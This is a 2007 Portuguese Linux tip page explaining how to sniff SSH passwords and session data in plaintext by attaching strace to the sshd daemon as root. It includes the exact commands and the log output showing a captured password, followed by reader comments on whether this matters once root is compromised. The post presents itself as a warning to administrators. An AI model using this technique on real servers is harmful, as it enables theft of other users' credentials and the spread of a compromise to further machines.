Logotipo Dicas-L, por Ricardo Burile

Busca

Visite também: UnderLinux ·  VivaOLinux ·  LinuxSecurity ·  NoticiasLinux ·  BR-Linux ·  SoftwareLivre.org ·  [mais]   
 

Mão na Massa LDAP - 1 Profissional por Máquina
Configure um serviço de Diretórios baseado no servidor OpenLDAP!
Dia 6 de Dezembro - São Paulo
Saiba mais


 

Aprenda inglês em casa

Baixe gratuitamente as duas primeiras aulas

English for Reading and Listening

Receba por email, diariamente, mensagens contendo materiais para leitura e audição, incluindo arquivos no formato MP3 gravados por falantes nativos.

Saiba mais e faça sua inscrição

Você está aqui: Home  → Arquivo Dicas-L

 

Mão na Massa - LDAP

Assine a Lista Dicas-L

Receba diariamente por email as dicas
de informática publicadas neste site
Para se descadastrar, clique aqui.

Publicar em del.icio.us

Sniffando o SSH com o Strace

Colaboração: Leandro Godoy

Data de Publicação: 11 de Maio de 2007

É possivel Sniffar as Conexões via SSH simplesmente escutando as chamadas System Calls do daemon SSHD. Existe um ponto de comunicação entre o SSHD e o Kernel, entre a Criptografia e a Descriptografia, em que os dados passam em Texto Plano (plain text) e este tráfego pode ser capturado com o uso do Strace.

1. Sniffando a Senha do Login:

  1. No servidor que está com o Server do SSH rodando descubra qual o pid do daemon sshd:
      Zion:~# ps aux | grep sshd | grep -v grep
      root      6097  0.0  0.1   4792  1076 ?        Ss   16:49   0:00 /usr/sbin/sshd
    
  2. De posse deste pid dispare o Strace (como root):

      Zion:~# strace -f -p 6097 -o snif_ssh.txt &
    

    Este comando irá logar no arquivo sniff_ssh.txt todas as chamadas do processo de pid 6097 (sshd). Uma lida no man do strace ajuda a entender e experimentar outras opções de filtragem e paãmetros.

  3. De um outro servidor, ou para fins de teste da mesma máquina, faça um ssh com um usuário qualquer:
      godoy@Zion:~$ ssh localhost
      Password: textoplano
      Last login: Mon May  7 17:01:15 2007 from localhost.localdomain
      godoy@Zion:~$
    
  4. Agora analíse as saídas que foram logadas no arquivo sniff_ssh.txt, procure pelas chamadas read ou write:
      Zion:~# cat snif_ssh.txt | grep read | more
      6521  write(4,  \0\0\0\1\0\0\0\ntextoplano , 18 <unfinished  >
      6520  <  read resumed>  7\0\0\0\1\0\0\0\ntextoplano , 19) = 19
      6520  write(7,  \0\0\0\ntextoplano , 14 <unfinished  >
      6522  <  read resumed>  \6\0\0\0\ntextoplano , 15) = 15
    

2. Sniffando as demais transferências de dados:

  1. Digite o seguinte comando, restringindo a busca as chamadas read e write:

      Zion:~# strace -f -p 6097 -o snif_ssh.txt -v -e trace=read,write -s 128 &
    

  2. Teste alguns comandos no cliente:
      godoy@Zion:~$ cat > teste.txt
      ======== OK =======
      Sniffou??
      ======= OK =======
      godoy@Zion:~$
    
  3. Verifique o log o servidor pesquisando por write ou read:
      Zion:~# cat snif_ssh.txt | grep  ===
      6586  <  read resumed>  ======== OK =======\n , 4096) = 20
      6586  write(1,  ======== OK =======\n , 20) = 20
      6586  <  read resumed>  ======= OK =======\n , 4096) = 19
      6586  write(1,  ======= OK =======\n , 19) = 19
      Zion:~# cat snif_ssh.txt | grep  Sniff
      6586  <  read resumed>  Sniffou??\n , 4096) = 10
      6586  write(1,  Sniffou??\n , 10)       = 10
      Zion:~#
    
    Como a saída do Strace é muito prolixa e pode rapidamente criar um arquivo bem grande, cabe aqui um script para filtrar melhor o log que será gravado no arquivo sniff_ssh.txt.

    Pode-se imaginar que é perfeitamente possível disparar tais comandos no lado do cliente!!

    E que também pode-se criar um rootkit que se aproveite desta comunicação de SystemCalls para pegar o tráfego entre o Servidor SSH e seus clientes.

    Portanto tome muito cuidado com os seus servidores SSH e coms seus clientes.
      Leandro Godoy
      Consultor de TI
      LPI Certified Level 2
      Mandriva Instructor Certified
      ITIL Foundation Certified
      http://www.blogmind.com.br/
    

Veja a relação completa dos artigos de Leandro Godoy

Referências Adicionais

Referências adicionais sobre os assuntos abordados neste site podem ser encontradas em nossa Bibliografia.

Avalie esta dica

  • Currently 3.03/5
  • 1
  • 2
  • 3
  • 4
  • 5

Avaliação: 3.0 /5 (600 votos)

Recomende este site
Recomendar este artigo


Versão para impressão


Opinião dos Leitores

XOOM
09 Jun 2007, 11:14
Belo post.
Leandro Godoy
28 Mai 2007, 13:59
Não alimente os Trolls ...
André
11 Mai 2007, 11:41
Ótima dica. IMHO, atendeu o propósito para o qual foi escrita. É apenas uma dica, serve como alerta, bons administradores vão realizar uma pesquisa mais profunda do assunto. "Ridículo" é criticar e não complementar com nada de útil. ;)

Abraços.

Airon Fonteles
11 Mai 2007, 09:35
Vou adicionar aqui meus cents :) OK, root pode tudo e se alguém consegue acesso root a seu servidor (e vc descobre!), esqueça. Mas geralmente quem administra uma máquina, acessa outras mais (as vezes inclusive como administrador). Pelo que entendi, uma máquina comprometida pode levar ao comprometimento de várias outras pela descoberta das respectivas senhas de acesso. Vejam bem, uma coisa é a máquina estar comprometida e todos os seus recursos também. Outra coisa é este problema comprometer outros servidores. O que voces acham?
Joacelio
10 Mai 2007, 18:29
O comando strace é muito útil para depuração e identificação de problemas e acho que deve estar sempre instalado, e como Fábio Leite disse, uma vez que o root da máquina esteja comprometido tudo é possível. Uma vulnerabilidade maior é passar senhas em um comando, já que ela pode ser capturada com um simples "ps -efw" por qualquer usuário do sistema.
Fábio Olivé Leite
10 Mai 2007, 13:39
Me desculpem o balde de água fria, mas isto é ridículo. Se alguém tem root no _teu_ servidor, então o servidor não é mais _teu_. Se não se pode confiar no root de um servidor, não se pode confiar nele como um todo. Remover o comando strace é ridículo, pois seria necessário também remover a chamada de sistema ptrace, recompilando o kernel.

Qual será a próxima grande notícia? Que o root pode remover qualquer arquivo e o comando rm deve ser removido do sistema?

Abraços,
Fábio
Leandro Godoy
09 Mai 2007, 22:31
Ronaldo,

Minha fonte foi este mesmo paper e eu o referenciei como fonte no meu blog, no post original. Pode conferir!!

Everton,
Neste paper ensina comop fazer o mesmo processo do lado do cliente. Vale a leitura.

Antonio,
Tem que estar logado no servidor e como root.
A remoção do Strace é uma boa pedida em servidores de produção.

Abraços

www.blogmind.com.br
www.opencode.com.br
Éverton A. Ribeiro
09 Mai 2007, 12:43
Opa,

Testei aqui e funcionou perfeitamente, mas tem um porem, só funcionou para o usuário root, outros usuários não conseguem fazer este sniffer né?

Para que isto tivesse uma real utilização meu servidor (máquina com sshd) precisaria esta comprometido né? Do contrário isso não funcionaria...

Outra pergunta o possível fazer o mesmo na máquina cliente, ou seja capturar as informações do aplicativo ssh?
Ronaldo
09 Mai 2007, 09:22
Escrevi um post sobre isto no meu blog no dia 4 de Maio:

Segurança Wi-Fi: Quando nem SSH salva
http://brainsniffer.blogspot.com/2007/05/segurana-wi-fi-quando-nem-ssh-salva.html

A minha referencia foi John Bambenek, que escreveu um artigo interessante sobre isto em 2004:

Defeating Encryption
http://www.infosecwriters.com/texts.php?op=display&id=242

-Ronaldo
Antonio
09 Mai 2007, 07:16
Pelo que entendi, vc tem que estar logadono servidor.

Desabilitar estes comandos pode ser uma saída para proteger o servidor.

Você tem alguma sugestão para aumentar a segurança?

*Nome:
Email:
Me notifique sobre novos comentários nessa pagina
Oculte meu email
*Texto:
 
  Para publicar seu comentário, digite o código contido na imagem acima
 


Powered by Scriptsmill Comments Script

Mão na Massa LDAP - 1 Profissional por Máquina
Configure um serviço de Diretórios baseado no servidor OpenLDAP!
Dia 6 de Dezembro - São Paulo
Saiba mais

Biblioteca

Redes - Guia Prático
Por Carlos. E. Morimoto

Hardware - o Guia Definitivo
Por Carlos. E. Morimoto

Kurumin 7 - Guia Prático
Por Carlos. E. Morimoto

Linux: Ferramentas Técnicas, 2ed
Por Carlos. E. Morimoto

VPN: Virtual Private Network
Por Lino Sarlo da Silva

MySQL - Guia do Programador
Por André Milani

Sistemas de Banco de Dados
Por Ramez E. Elmasri e Shamkant Navathe

Hardware PC: Guia de Aprendizagem Rápida
Por Carlos E. Morimoto

Extreme Programming
Por Vinicius Manhaes Teles

Google Hacking
Por JOHNNY LONG

Elite da Tropa
Por Luis Eduardo Soares, Andre Batista e Rodrigo Pimentel

Harry Potter e as Relíquias da Morte
Por J.K. Rowling

Manual Completo do Linux: Guia do Administrador
Por Evi Nemeth, Trent R. Hein, Garth Snyder

PHP para Quem Conhece PHP
Por Juliano Niederauer

O Conhecimento em Rede
Por Carlos Nepomuceno e Marcos Cavalcanti

Enterprise Javabeans 3.0
Por Bill Burke, Richard Monson

Redes de Computadores
Por Andrew S. Tanembaum

Marley e Eu: a Vida e o Amor ao Lado do Pior Cão do Mundo
Por John Grogan

Deus, um delírio
Por Richard Dawkins

Java: Como Programar
Por Harvey M. Deitel e Paul J. Deitel

Descobrindo o Linux: Entenda o Sistema Operacional GNU/Linux
Por Joao Eriberto Mota Filho

Use a Cabeça!: JSP & Servlets
Por Brian Bashan, Kathy Sierra, Bert Bates

1808
Por Laurentino Gomes

UML: Guia do Usuário
Por Grady Booch, James Rumbaugh e Ivar Jacobson